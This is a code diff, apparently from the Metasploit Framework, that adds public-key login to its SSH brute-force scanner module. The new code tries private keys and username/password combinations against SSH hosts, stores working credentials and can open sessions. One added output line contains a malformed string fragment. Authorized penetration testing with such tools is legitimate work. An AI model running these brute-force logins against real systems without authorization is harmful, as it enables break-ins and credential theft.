77require 'net/ssh/command_stream'
88require 'metasploit/framework/login_scanner/ssh'
99require 'metasploit/framework/credential_collection'
10+ require 'metasploit/framework/key_collection'
1011
1112class MetasploitModule < Msf ::Auxiliary
1213 include Msf ::Auxiliary ::AuthBrute
@@ -16,6 +17,8 @@ class MetasploitModule < Msf::Auxiliary
1617 include Msf ::Exploit ::Remote ::SSH ::Options
1718 include Msf ::Sessions ::CreateSessionOptions
1819 include Msf ::Auxiliary ::ReportSummary
20+ include Msf ::Exploit ::Deprecated
21+ moved_from 'auxiliary/scanner/ssh/ssh_login_pubkey'
1922
2023 def initialize
2124 super (
@@ -26,7 +29,8 @@ def initialize
2629 and connected to a database this module will record successful
2730 logins and hosts so you can track your access.
2831 } ,
29- 'Author' => [ 'todb' ] ,
32+ 'Author' => [ 'todb' , 'RageLtMan' ] ,
33+ 'AKA' => [ 'ssh_login_pubkey' ] ,
3034 'References' => [
3135 [ 'CVE' , '1999-0502' ] , # Weak password
3236 [ 'ATT&CK' , Mitre ::Attack ::Technique ::T1021_004_SSH ]
@@ -37,7 +41,10 @@ def initialize
3741
3842 register_options (
3943 [
40- Opt ::RPORT ( 22 )
44+ Opt ::RPORT ( 22 ) ,
45+ OptPath . new ( 'KEY_PATH' , [ false , 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped. Duplicate private keys will be ignored.' ] ) ,
46+ OptString . new ( 'KEY_PASS' , [ false , 'Passphrase for SSH private key(s)' ] ) ,
47+ OptString . new ( 'PRIVATE_KEY' , [ false , 'The string value of the private key that will be used. If you are using MSFConsole, this value should be set as file:PRIVATE_KEY_PATH. OpenSSH, RSA, DSA, and ECDSA private keys are supported.' ] )
4148 ] , self . class
4249 )
4350
@@ -55,7 +62,7 @@ def rport
5562 datastore [ 'RPORT' ]
5663 end
5764
58- def session_setup ( result , scanner )
65+ def session_setup ( result , scanner , used_key : false )
5966 return unless scanner . ssh_socket
6067
6168 platform = scanner . get_platform ( result . proof )
@@ -67,9 +74,24 @@ def session_setup(result, scanner)
6774 'USERPASS_FILE' => nil ,
6875 'USER_FILE' => nil ,
6976 'PASS_FILE' => nil ,
70- 'USERNAME' => result . credential . public ,
71- 'PASSWORD' => result . credential . private
77+ 'USERNAME' => result . credential . public
7278 }
79+ if used_key
80+ merge_me . merge! (
81+ {
82+ 'PASSWORD' => nil
83+ }
84+ )
85+ else
86+ merge_me . merge! (
87+ {
88+ 'PASSWORD' => result . credential . private ,
89+ 'PRIVATE_KEY' => nil ,
90+ 'KEY_FILE' => nil
91+ }
92+ )
93+ end
94+
7395 s = start_session ( self , nil , merge_me , false , sess . rstream , sess )
7496 self . sockets . delete ( scanner . ssh_socket . transport . socket )
7597
@@ -92,6 +114,35 @@ def run_host(ip)
92114 @ip = ip
93115 print_brute :ip => ip , :msg => 'Starting bruteforce'
94116
117+ if datastore [ 'USER_FILE' ] . blank? && datastore [ 'USERNAME' ] . blank? && datastore [ 'USERPASS_FILE' ] . blank?
118+ validation_reason = 'At least one of USER_FILE, USERPASS_FILE or USERNAME must be given'
119+ raise Msf ::OptionValidateError . new (
120+ {
121+ 'USER_FILE' => validation_reason ,
122+ 'USERNAME' => validation_reason ,
123+ 'USERPASS_FILE' => validation_reason
124+ }
125+ )
126+ end
127+
128+ unless attempt_password_login? || attempt_pubkey_login?
129+ validation_reason = 'At least one of KEY_PATH, PRIVATE_KEY or PASSWORD must be given'
130+ raise Msf ::OptionValidateError . new (
131+ {
132+ 'KEY_PATH' => validation_reason ,
133+ 'PRIVATE_KEY' => validation_reason ,
134+ 'PASSWORD' => validation_reason
135+ }
136+ )
137+ end
138+
139+ do_login_creds ( ip ) if attempt_password_login?
140+ do_login_pubkey ( ip ) if attempt_pubkey_login?
141+ end
142+
143+ def do_login_creds ( ip )
144+ print_status ( "#{ ip } :#{ rport } SSH - Testing User/Pass combinations" )
145+
95146 cred_collection = build_credential_collection (
96147 username : datastore [ 'USERNAME' ] ,
97148 password : datastore [ 'PASSWORD' ]
@@ -130,7 +181,7 @@ def run_host(ip)
130181
131182 if datastore [ 'CreateSession' ]
132183 begin
133- session_setup ( result , scanner )
184+ session_setup ( result , scanner , used_key : false )
134185 rescue StandardError => e
135186 elog ( 'Failed to setup the session' , error : e )
136187 print_brute :level => :error , :ip => ip , :msg => "Failed to setup the session - #{ e . class } #{ e . message } "
@@ -159,4 +210,110 @@ def run_host(ip)
159210 end
160211 end
161212 end
213+
214+ def do_login_pubkey ( ip )
215+ print_status ( "#{ ip } :#{ rport } SSH - Testing Cleartext Keys" )
216+
217+ keys = Metasploit ::Framework ::KeyCollection . new (
218+ key_path : datastore [ 'KEY_PATH' ] ,
219+ password : datastore [ 'KEY_PASS' ] ,
220+ user_file : datastore [ 'USER_FILE' ] ,
221+ username : datastore [ 'USERNAME' ] ,
222+ private_key : datastore [ 'PRIVATE_KEY' ]
223+ )
224+
225+ unless keys . valid?
226+ print_error ( 'Files that failed to be read:' )
227+ keys . error_list . each do |err |
228+ print_line ( "\t - #{ err } " )
229+ end
230+ end
231+
232+ keys = prepend_db_keys ( keys )
233+
234+ key_count = keys . key_data . count
235+ key_sources = [ ]
236+ unless datastore [ 'KEY_PATH' ] . blank?
237+ key_sources . append ( datastore [ 'KEY_PATH' ] )
238+ end
239+
240+ unless datastore [ 'PRIVATE_KEY' ] . blank?
241+ key_sources . append ( 'PRIVATE_KEY' )
242+ end
243+
244+ print_brute level : :vstatus , ip : ip , msg : "Testing #{ key_count } #{ 'key' . pluralize ( key_count ) } from #{ key_sources . join ( ' and ' ) } "
245+ scanner = Metasploit ::Framework ::LoginScanner ::SSH . new (
246+ configure_login_scanner (
247+ host : ip ,
248+ port : rport ,
249+ cred_details : keys ,
250+ stop_on_success : datastore [ 'STOP_ON_SUCCESS' ] ,
251+ bruteforce_speed : datastore [ 'BRUTEFORCE_SPEED' ] ,
252+ proxies : datastore [ 'Proxies' ] ,
253+ connection_timeout : datastore [ 'SSH_TIMEOUT' ] ,
254+ framework : framework ,
255+ framework_module : self ,
256+ skip_gather_proof : !datastore [ 'GatherProof' ]
257+ )
258+ )
259+
260+ scanner . verbosity = :debug if datastore [ 'SSH_DEBUG' ]
261+
262+ scanner . scan! do |result |
263+ credential_data = result . to_h
264+ credential_data . merge! (
265+ module_fullname : self . fullname ,
266+ workspace_id : myworkspace_id
267+ )
268+ case result . status
269+ when Metasploit ::Model ::Login ::Status ::SUCCESSFUL
270+ print_brute level : :good , ip : ip , msg : "Success: '#{ result . proof . to_s . gsub ( /[\r \n \e \b \a ]/ , ' ' ) } '"
271+ print_brute level : :vgood , ip : ip , msg : "#{ result . credential } ', ' ')}'"
272+ begin
273+ credential_core = create_credential ( credential_data )
274+ credential_data [ :core ] = credential_core
275+ create_credential_login ( credential_data )
276+ rescue ::StandardError => e
277+ print_brute level : :info , ip : ip , msg : "Failed to create credential: #{ e . class } #{ e } "
278+ print_brute level : :warn , ip : ip , msg : 'We do not currently support storing password protected SSH keys: https://github.com/rapid7/metasploit-framework/issues/20598'
279+ end
280+
281+ if datastore [ 'CreateSession' ]
282+ session_setup ( result , scanner , used_key : true )
283+ end
284+ if datastore [ 'GatherProof' ] && scanner . get_platform ( result . proof ) == 'unknown'
285+ msg = 'While a session may have opened, it may be bugged. If you experience issues with it, re-run this module with'
286+ msg << " 'set gatherproof false'. Also consider submitting an issue at github.com/rapid7/metasploit-framework with"
287+ msg << ' device details so it can be handled in the future.'
288+ print_brute level : :error , ip : ip , msg : msg
289+ end
290+ :next_user
291+ when Metasploit ::Model ::Login ::Status ::UNABLE_TO_CONNECT
292+ if datastore [ 'VERBOSE' ]
293+ print_brute level : :verror , ip : ip , msg : "Could not connect: #{ result . proof } "
294+ end
295+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
296+ invalidate_login ( credential_data )
297+ :abort
298+ when Metasploit ::Model ::Login ::Status ::INCORRECT
299+ if datastore [ 'VERBOSE' ]
300+ print_brute level : :verror , ip : ip , msg : "Failed: '#{ result . credential } '"
301+ end
302+ invalidate_login ( credential_data )
303+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
304+ else
305+ invalidate_login ( credential_data )
306+ scanner . ssh_socket . close if scanner . ssh_socket && !scanner . ssh_socket . closed?
307+ end
308+ end
309+ end
310+
311+ def attempt_pubkey_login?
312+ datastore [ 'KEY_PATH' ] . present? || datastore [ 'PRIVATE_KEY' ] . present?
313+ end
314+
315+ def attempt_password_login?
316+ datastore [ 'PASSWORD' ] . present? || datastore [ 'PASS_FILE' ] . present? || datastore [ 'USERPASS_FILE' ] . present?
317+ end
318+
162319end
0 commit comments